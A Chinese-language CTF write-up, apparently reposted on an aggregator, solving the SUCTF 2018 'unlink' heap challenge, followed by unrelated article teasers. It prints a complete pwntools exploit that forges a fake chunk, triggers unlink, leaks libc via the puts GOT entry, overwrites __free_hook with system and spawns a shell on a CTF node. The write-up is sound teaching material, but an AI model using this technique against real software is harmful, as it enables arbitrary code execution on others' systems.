【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink

news2024/12/24 10:44:39

在前期学习了unlink后,今天翻NSSCTF找到一道名为unlink的题目,尝试不看wp做。过程很顺利!


前言

题目对于知识点unlink还是非常裸的,很直接,思路很清晰。


一、题目


二、思路浅析

通过对该程序的反编译,我们发现存在存储malloc得到空间地址的指针序列,存放在bss段上,同时take_note存在溢出漏洞,可以出发unlink——将指针劫持到bss段上指针序列地址。同时malloc到的指针区域有着读写权限,这意味着我们可以通过unlink达到任意地址读写的极高权限!

很明显:

1.unlink

2.__free_hook劫持


三、exp

先给出exp,再把exp过程部分断点效果展示给大家,方便大家理解。(第四部分,对于raw_input()断下处,进行gdb调试分析)

from pwn import *
from pwn import p64,u64
context(arch='amd64',log_level='debug')

# io=process('./pwn')
io=remote('node4.anna.nssctf.cn',28867)
elf=ELF('./pwn')
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def touch(size):
    io.sendlineafter(b'chooice :\n',b'1')
    io.sendlineafter(b'size : \n',str(size).encode())

def delete(index):
    io.sendlineafter(b'chooice :\n',b'2')
    io.sendlineafter(b'to delete\n',str(index).encode())

def show(index):
    io.sendlineafter(b'chooice :\n',b'3')
    io.sendlineafter(b'to show\n',str(index).encode())
    io.recvuntil(b'is : ')

def take_note(index,payload):
    io.sendlineafter(b'chooice :\n',b'4')
    io.sendlineafter(b'modify :\n',str(index).encode())
    io.sendafter(b'content\n',payload)

if input('[!]Input "0" to gdb attach : ')=='0':
    gdb.attach(io)
buf=0x6020C0
touch(0x20)  # 写fake-chunk、溢出下一个chunk
touch(0x80)  # free触发unlink
touch(0x100) # 防止和topchunk合并
raw_input('[!]check')

# 写fake-chunk,溢出下一个chunk
prev_size=p64(0)
chunk_size=p64(0x20)
fd=buf-0x18
bk=buf-0x10
content=p64(fd)+p64(bk)
of_prev_size=p64(0x20)
of_chunk_size=p64(0x90)
payload=prev_size+chunk_size+content+of_prev_size+of_chunk_size
take_note(0,payload)
raw_input('[!]check')

# 触发unlink
delete(1)
raw_input('[!]check')

# 修改系列ptr的值
payload=p64(0)*3+p64(0x6020c8)
take_note(0,payload)
raw_input('[!]check')

# 通过puts泄露libc地址
payload=p64(elf.got['puts'])
take_note(0,payload)
raw_input('[!]check')
show(1)
puts=u64(io.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
success(hex(puts))

# __free_hook
libc_base=puts-libc.sym['puts']
free_hook=libc_base+libc.sym['__free_hook']
bin_sh_str=libc_base+next(libc.search(b'/bin/sh\x00'))
payload=p64(free_hook)+p64(bin_sh_str)
take_note(0,payload)
raw_input('[!]check')
system=libc_base+libc.sym['system']
take_note(1,p64(system))
raw_input('[!]check')
delete(2)

io.interactive()

四、exp效果具体分析

1.fake_chunk部分

这是刚分配完三个chunk后的内存情况,当我们执行下面这些语句构造fake_chunk

2.触发unlink

由于我们已经内存精心布置过,这是我们free chunk1能够向前合并chunk0中构造的fake_chunk且绕过保护机制

利用成功!

3.稍作修改

实际已经获得了任意地址读写的能力,但是个人习惯,先将上面的地址稍稍改一下

4.任意地址读——泄露libc——泄露puts真实地址

首先将puts的got表地址写到bss上,再通过show函数访问栈上指针指向的区域,也即puts_got内存储的东西——puts的真实地址,通过相对地址可泄露libc基址进而获得其他需要的函数/字符串地址

5.劫持__free_hook

思路是将__free_hook的got表写在chunk1指针处,将指向字符串'/bin/sh\x00'的指针写在chunk2位置,然后通过take_note函数写__free_hook为system,再free掉chunk2触发system('/bin/sh\x00')

 

 成功获得shell(这里是本地调试)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1204971.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

AGV与AMR的区别

如今,市面上最受关注的两类工业移动机器人分别是AGV和AMR。但大众对于两者的区别还是不甚了解,因此小编将通过这篇文章为大家详细解释。 一、概念阐述 【AGV 】 AGV (Automated Guided Vehicle) 即自动导引运输车,可指基于各种定位导航技术…

第二章:main 方法

系列文章目录 文章目录 系列文章目录前言一、main 方法总结 前言 main方法详解。 一、main 方法 //main方法的形式 public static void main(String[] args){}解释main方法main方法被虚拟机调用Java虚拟机需要调用类的main()方法,所以该方法的访问权限必须是publi…

C++类中的const使用

目录 一,const成员函数 1,const成员函数的语法 2,相同限定符之间的调用 3,不同限定符对象与函数的调用 4,不同限定符函数之间的调用 一,const成员函数 1,const成员函数的语法 将const修饰…

关于MySQL优化的思考二【性能分析工具、优化原则】

在实际的工作中,我们不免需要对SQL预计进行分析和优化,今天我们就来一起看下相关内容: SQL性能分析 SQL优化原则 1 SQL性能分析 对SQL进行性能分析,主要有: 查看慢SQL 通过profile详情查看 explain执行计划 1.1…

2023年【广东省安全员B证第四批(项目负责人)】考试及广东省安全员B证第四批(项目负责人)试题及解析

题库来源:安全生产模拟考试一点通公众号小程序 广东省安全员B证第四批(项目负责人)考试考前必练!安全生产模拟考试一点通每个月更新广东省安全员B证第四批(项目负责人)试题及解析题目及答案!多…

Redhat7设置国内可用yum源

问题: 因为最近安装了redhat7,在使用的时候提示系统未注册订阅,无法使用官方的yum源进行安装软件。为此,我使用centos7国内的yum源替换redhat的官方的yum源实现软件安装。 “This system is not registered with an entitlement …

iOS:何为空指针和野指针

一:什么是空指针和野指针 1、空指针 ①.没有存储任何内存地址的指针就成为空指针(NULL指针) ②.空指针就是被赋值为0的指针,在没有被具体初始化之前,其值为0. //以下都是空指针,eg: Person *p1 NULL; …

CSDN每日一题学习训练——Java版(数据流的中位数、乘积最大子数组、旋转链表)

版本说明 当前版本号[20231113]。 版本修改说明20231113初版 目录 文章目录 版本说明目录数据流的中位数题目解题思路代码思路参考代码 乘积最大子数组题目解题思路代码思路参考代码 旋转链表题目解题思路代码思路参考代码 数据流的中位数 题目 中位数是有序列表中间的数。…

SPSS时间序列模型预测

前言: 本专栏参考教材为《SPSS22.0从入门到精通》,由于软件版本原因,部分内容有所改变,为适应软件版本的变化,特此创作此专栏便于大家学习。本专栏使用软件为:SPSS25.0 本专栏所有的数据文件请点击此链接下…

Leetcode刷题详解——解数独

1. 题目链接:37. 解数独 2. 题目描述: 编写一个程序,通过填充空格来解决数独问题。 数独的解法需 遵循如下规则: 数字 1-9 在每一行只能出现一次。数字 1-9 在每一列只能出现一次。数字 1-9 在每一个以粗实线分隔的 3x3 宫内只能…

Vue基础之组件通信(二)

个人名片: 😊作者简介:一名大二在校生 🤡 个人主页:坠入暮云间x 🐼座右铭:懒惰受到的惩罚不仅仅是自己的失败,还有别人的成功。 🎅**学习目标: 坚持每一次的学习打卡 文章…

ROS基础—话题通信的执行

1、打开终端启动roscore 2、手动添加命令到.bashrc Ⅰ.切换到home目录下,按Ctrlh显示隐藏的文件夹,找到并打开./bashrc。 Ⅱ.在./bashrc最后一行添加命令: # xxx是你工作空间的名称 source ~/xxx/devel/setup.bash 之后保存.bashrc文件即可。 这样子…

IMU识别实验鼠的运动轨迹

临床前通常要做小鼠行为试验。然而,研究人员在观察和分析其行为和反应上往往需要耗费大量时间。针对这种情况,结合目前IMU的飞速发展,香港的研究员们构思了一种基于惯性测量单元(IMU)的传感器,用于捕获实验…

保姆级vue-pdf的使用过程

第一步 引入vue-pdf npm install --save vue-pdf 第二步 按照需求我们慢慢进行 01.给你一个pdf文件的url&#xff0c;需要在页面渲染 代码 <template><div><pdfref"pdf":src"url"></pdf></div> </template> <…

vue3 setup() 高级用法

文章目录 前言一、选项式API 和 组合式API 区别用一张图告诉你它们的区别&#xff1a; 二、setup 具体怎么用&#xff1f;2.1、setup 什么时候执行&#xff1f;2.2、setup 数据和方法如何使用&#xff1f;2.3、setup 内部有 this 吗&#xff1f;2.4、setup 内钩子函数如何使用&…

SDL2 播放视频数据(YUV420P)

1.简介 这里以常用的视频原始数据YUV420P为例&#xff0c;展示视频的播放。 SDL播放视频的流程如下&#xff1a; 初始化SDL&#xff1a;SDL_Init();创建窗口&#xff1a;SDL_CreateWindow();创建渲染器&#xff1a;SDL_CreateRenderer();创建纹理&#xff1a;SDL_CreateText…

vivado产生报告阅读分析-常规报告2

1、Report I/O “ I/O Report ” &#xff08; I/O 报告 &#xff09; 用于替代 AMD ISE Design Suite PAD 文件。“ I/O Report ”可列出 &#xff1a; • “ Pin Number ” &#xff08; 管脚编号 &#xff09;&#xff1a; 表示器件中的所有管脚 • “ Signal Name ” …

vue3配置@别名

在项目开发中&#xff0c;通常我们是不写相对路径的&#xff0c;因为有些文件需要在不同的文件中使用&#xff0c;如果使用相对路径&#xff0c;那么我们每次去CV路径的时候就要重新修改。因此通常我们是写跟路径的&#xff0c;但是从头开始又太过于麻烦&#xff0c;因此我们使…

ChatGLM3本地部署运行(入门体验级)

文章目录 前言零 硬件小白基知填坑eForce Game Ready驱动程序CUDA常用命令 环境准备NVIDIA驱动更新CUDA安装 部署补充内容体验 前言 学习自B站up主技术爬爬虾&#xff0c;感谢up主提供的整合包&#xff01; 零 硬件 6GB以上显存的NVIDIA显卡&#xff08;品质越高&#xff0c…

22.斐波那契数列数列前20项.

#include<stdio.h>int main(){int i,sum1; int a[100];a[0]0;a[1]1;for(i2;i<20;i){a[i]a[i-1]a[i-2]; sumsuma[i];}printf("斐波那契数列的前20项和为&#xff1a;%d",sum);return 0;}